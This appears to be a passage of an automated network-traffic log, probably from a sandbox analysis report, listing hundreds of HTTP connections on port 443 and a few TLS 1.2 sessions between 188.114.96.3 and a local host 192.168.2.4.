Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 50347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 50335 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 50313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 50369 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50337
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50336
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50339
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50338
Source: unknown	Network traffic detected: HTTP traffic on port 50392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50330
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50333
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50335
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50334
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50347
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50349
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50342
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50341
Source: unknown	Network traffic detected: HTTP traffic on port 50339 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50344
Source: unknown	Network traffic detected: HTTP traffic on port 50352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50343
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 50289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50359
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50358
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50351
Source: unknown	Network traffic detected: HTTP traffic on port 50317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50353
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50352
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50355
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50354
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50357
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50356
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50360
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50369
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50361
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50364
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50363
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50365
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50368
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50367
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50371
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50370
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50303
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50305
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50309
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50300
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50301
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50315
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50314
Source: unknown	Network traffic detected: HTTP traffic on port 50384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50316
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50319
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50318
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50311
Source: unknown	Network traffic detected: HTTP traffic on port 50394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50310
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50313
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50312
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50326
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50325
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50327
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50329
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50320
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50322
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50324
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50323
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50296
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50297
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50299
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 50286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50343 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 50353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50260
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 50318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50264
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50270
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50271
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50277
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50279
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50281
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50280
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50283
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50282
Source: unknown	Network traffic detected: HTTP traffic on port 50341 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50285
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50286
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50288
Source: unknown	Network traffic detected: HTTP traffic on port 50375 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50290
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50292
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50291
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50294
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50293
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50357 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50379 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 50229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50399 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50321 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 50367 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50355 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 50284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50333 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 50383 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50371 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50291 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 50326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50403
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50402
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50405
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50401
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50400
Source: unknown	Network traffic detected: HTTP traffic on port 50348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50293 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 50209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 50336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50281 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50397 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50193 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50248 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50311 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50321 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50346 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50377 version: TLS 1.2
